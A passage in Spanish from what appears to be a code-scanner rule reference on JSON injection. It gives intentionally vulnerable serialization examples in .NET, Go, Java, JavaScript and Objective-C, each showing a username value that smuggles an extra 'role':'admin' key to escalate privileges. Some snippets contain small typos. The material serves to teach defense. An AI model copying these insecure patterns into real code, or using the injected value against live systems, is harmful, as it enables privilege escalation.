writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");

writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");

writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");

writer.WriteEndObject();
}

File.WriteAllText(@"C:\user_info.json", sb.ToString());


Aun así, dado que la serialización de JSON se realiza mediante el uso de JsonWriter.WriteRawValue(), los datos que no son de confianza de username y password no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory con la contraseña Evil123! fuese a agregar ","role":"admin a su nombre de usuario al introducirlo en la solicitud que establece el valor de la variable username, el JSON resultante guardado en C:\user_info.json sería:


{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}


Si el archivo JSON serializado se fuese a deserializar en un objeto Dictionary con JsonConvert.DeserializeObject() de este modo:


String jsonString = File.ReadAllText(@"C:\user_info.json");

Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);


Los valores resultantes para las claves de username, password y role del objeto Dictionary serían mallory, Evil123! y admin, respectivamente. Sin más comprobaciones de que los valores JSON deserializados son válidos, la aplicación asignará de forma incorrecta privilegios de "admin" al usuario mallory.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.json_injection
Abstract
El método escribe una entrada sin validar en JSON. Un atacante puede insertar elementos o atributos arbitrarios en la entidad JSON.
Explanation
La inyección JSON se produce cuando sucede lo siguiente:

1. Los datos se introducen en un programa desde un origen que no es de confianza.


2. Los datos se escriben en una secuencia JSON.

Las aplicaciones suelen utilizar la secuencia JSON para almacenar datos o enviar mensajes. Cuando se utiliza para almacenar datos, JSON a menudo se trata como datos almacenados en la caché y puede contener información confidencial. Cuando se usa para enviar mensajes, JSON a menudo se utiliza junto con un servicio RESTful y puede transmitir información confidencial, como las credenciales de autenticación.

Los atacantes pueden alterar la semántica de mensajes y documentos JSON si una aplicación construye JSON a partir de una entrada sin validar. En un caso relativamente benigno, un atacante puede insertar elementos extraños y hacer que una aplicación genere una excepción mientras se están analizando un documento o una solicitud JSON. En casos más graves, como aquellos que impliquen la inyección JSON, un atacante puede insertar elementos extraños que permitan la manipulación predecible de los valores críticos para el negocio dentro de un documento o una solicitud JSON. En ocasiones, la inyección JSON puede dar lugar a scripts de sitios o una evaluación de código dinámico.

Ejemplo 1: El siguiente código serializa la información de autenticación de las cuentas de usuario para los usuarios sin privilegios (aquellos con un rol "predeterminado" a diferencia de los usuarios con privilegios con un rol de "admin") a partir de variables de entrada controladas por el usuario username y password al archivo JSON ubicado en ~/user_info.json:


...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()

jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}


Debido a que el código realiza la serialización de JSON mediante el uso de la concatenación de cadenas, los datos que no son de confianza en username y password no se validan a fin de omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, lo cual posiblemente pueda cambiar la estructura del archivo JSON serializado. En este ejemplo, si el usuario sin privilegios mallory con la contraseña Evil123! anexó ","role":"admin cuando ingresó su nombre de usuario, el archivo JSON resultante guardado en ~/user_info.json sería el siguiente:


{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}

Sin más comprobaciones de que los valores JSON deserializados son válidos, la aplicación asigna de forma accidental al usuario mallory privilegios de "admin".
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.json_injection
Abstract
El método escribe una entrada sin validar en JSON. Esta llamada puede permitir a un atacante insertar elementos o atributos de forma arbitraria en la entidad JSON.
Explanation
La inyección JSON se produce cuando:

1. Los datos entran en un programa desde un origen que no es de confianza.


2. Los datos se escriben en una secuencia JSON.

Las aplicaciones suelen utilizar la secuencia JSON para almacenar datos o enviar mensajes. Cuando se utiliza para almacenar datos, JSON a menudo se trata como datos almacenados en la caché y pueden contener información probablemente confidencial. Cuando se utiliza para enviar mensajes, JSON a menudo se utiliza junto con un servicio RESTful y se puede utilizar para transmitir información confidencial como las credenciales de autenticación.

La semántica de los documentos y mensajes JSON se puede modificar si una aplicación construye JSON a partir de una entrada sin validar. En un caso relativamente benigno, un atacante puede ser capaz de insertar elementos extraños y hacer que una aplicación produzca una excepción mientras se está analizando un documento o una solicitud JSON. En un caso más grave, como uno que implique la inyección JSON, un atacante puede ser capaz de insertar elementos extraños que permitan la manipulación predecible de los valores críticos para el negocio dentro de un documento o una solicitud JSON. En algunos casos, la inyección JSON puede dar lugar a cross-site scripting o evaluación de código dinámico.

Ejemplo 1: El siguiente código Java usa Jackson para serializar la información de autenticación de las cuentas de usuario para los usuarios sin privilegios (aquellos con un rol "predeterminado" a diferencia de los usuarios con privilegios con un rol de "admin") a partir de variables de entrada controladas por el usuario username y password al archivo JSON ubicado en ~/user_info.json:


...

JsonFactory jfactory = new JsonFactory();

JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);

jGenerator.writeStartObject();

jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");

jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");

jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");

jGenerator.writeEndObject();

jGenerator.close();


Aun así, dado que la serialización de JSON se realiza mediante el uso de JsonGenerator.writeRawValue(), los datos que no son de confianza de username y password no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory con la contraseña Evil123! fuese a agregar ","role":"admin a su nombre de usuario al introducirlo en la solicitud que establece el valor de la variable username, el JSON resultante guardado en ~/user_info.json sería:


{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}


Si el archivo JSON serializado se fuese a deserializar en un objeto HashMap con JsonParser de Jackson de este modo:


JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));

while (jParser.nextToken() != JsonToken.END_OBJECT) {

String fieldname = jParser.getCurrentName();

if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}

if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}

if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}

if (userInfo.size() == 3)
break;
}

jParser.close();


Los valores resultantes para las claves de username, password y role del objeto HashMap serían mallory, Evil123! y admin, respectivamente. Sin más comprobaciones de que los valores JSON deserializados son válidos, la aplicación asignará de forma incorrecta privilegios de "admin" al usuario mallory.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.json_injection
Abstract
El método escribe una entrada sin validar en JSON. Esta llamada puede permitir a un atacante insertar elementos o atributos de forma arbitraria en la entidad JSON.
Explanation
La inyección JSON se produce cuando:

1. Los datos entran en un programa desde un origen que no es de confianza.


2. Los datos se escriben en una secuencia JSON.

Las aplicaciones suelen utilizar la secuencia JSON para almacenar datos o enviar mensajes. Cuando se utiliza para almacenar datos, JSON a menudo se trata como datos almacenados en la caché y pueden contener información probablemente confidencial. Cuando se utiliza para enviar mensajes, JSON a menudo se utiliza junto con un servicio RESTful y se puede utilizar para transmitir información confidencial como las credenciales de autenticación.

La semántica de los documentos y mensajes JSON se puede modificar si una aplicación construye JSON a partir de una entrada sin validar. En un caso relativamente benigno, un atacante puede ser capaz de insertar elementos extraños y hacer que una aplicación produzca una excepción mientras se está analizando un documento o una solicitud JSON. En un caso más grave, como uno que implique la inyección JSON, un atacante puede ser capaz de insertar elementos extraños que permitan la manipulación predecible de los valores críticos para el negocio dentro de un documento o una solicitud JSON. En algunos casos, la inyección JSON puede dar lugar a cross-site scripting o evaluación de código dinámico.

Ejemplo 1: El siguiente código JavaScript utiliza jQuery para analizar JSON, donde un valor procede de una dirección URL:


var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}

$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});


Aquí, los datos que no son de confianza en name no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory fuese a agregar ","role":"admin al parámetro de nombre en la dirección URL, el JSON resultante sería:


{
"role":"user",
"username":"mallory",
"role":"admin"
}


Esto es analizado por jQuery.parseJSON() y establecido como objeto simple, lo que significa que obj.role devolverá "admin" en lugar de "user".
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.javascript.json_injection
Abstract
El método escribe una entrada sin validar en JSON. Esta llamada puede permitir a un atacante insertar elementos o atributos de forma arbitraria en la entidad JSON.
Explanation
La inyección JSON se produce cuando:

1. Los datos entran en un programa desde un origen que no es de confianza.


2. Los datos se escriben en una secuencia JSON.

Las aplicaciones suelen utilizar la secuencia JSON para almacenar datos o enviar mensajes. Cuando se utiliza para almacenar datos, JSON a menudo se trata como datos almacenados en la caché y pueden contener información probablemente confidencial. Cuando se utiliza para enviar mensajes, JSON a menudo se utiliza junto con un servicio RESTful y se puede utilizar para transmitir información confidencial como las credenciales de autenticación.

La semántica de los documentos y mensajes JSON se puede modificar si una aplicación construye JSON a partir de una entrada sin validar. En un caso relativamente benigno, un atacante puede ser capaz de insertar elementos extraños y hacer que una aplicación produzca una excepción mientras se está analizando un documento o una solicitud JSON. En un caso más grave, como uno que implique la inyección JSON, un atacante puede ser capaz de insertar elementos extraños que permitan la manipulación predecible de los valores críticos para el negocio dentro de un documento o una solicitud JSON. En algunos casos, la inyección JSON puede dar lugar a cross-site scripting o evaluación de código dinámico.

Ejemplo 1: el siguiente código Objective-C serializa la información de la autenticación de cuenta de usuario para usuarios sin privilegios (aquellos con un rol "predeterminado" a diferencia de los usuarios con un rol de "admin") a JSON de los campos controlables por el usuario _usernameField y _passwordField:


...

NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];


Aun así, dado que la serialización de JSON se realiza mediante el uso de NSString.stringWithFormat:, los datos que no son de confianza de _usernameField y _passwordField no se validarán para omitir caracteres especiales relacionados con JSON. Esto permite a un usuario introducir claves JSON de forma arbitraria, posiblemente cambiando la estructura del JSON serializado. En este ejemplo, si el usuario sin privilegios mallory con la contraseña Evil123! fuese a agregar ","role":"admin a su nombre de usuario al introducirla en el campo _usernameField, el JSON resultante sería:


{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}


Si esta cadena JSON serializada se fuese a deserializar en un objeto NSDictionary con NSJSONSerialization.JSONObjectWithData: de este modo:


NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];


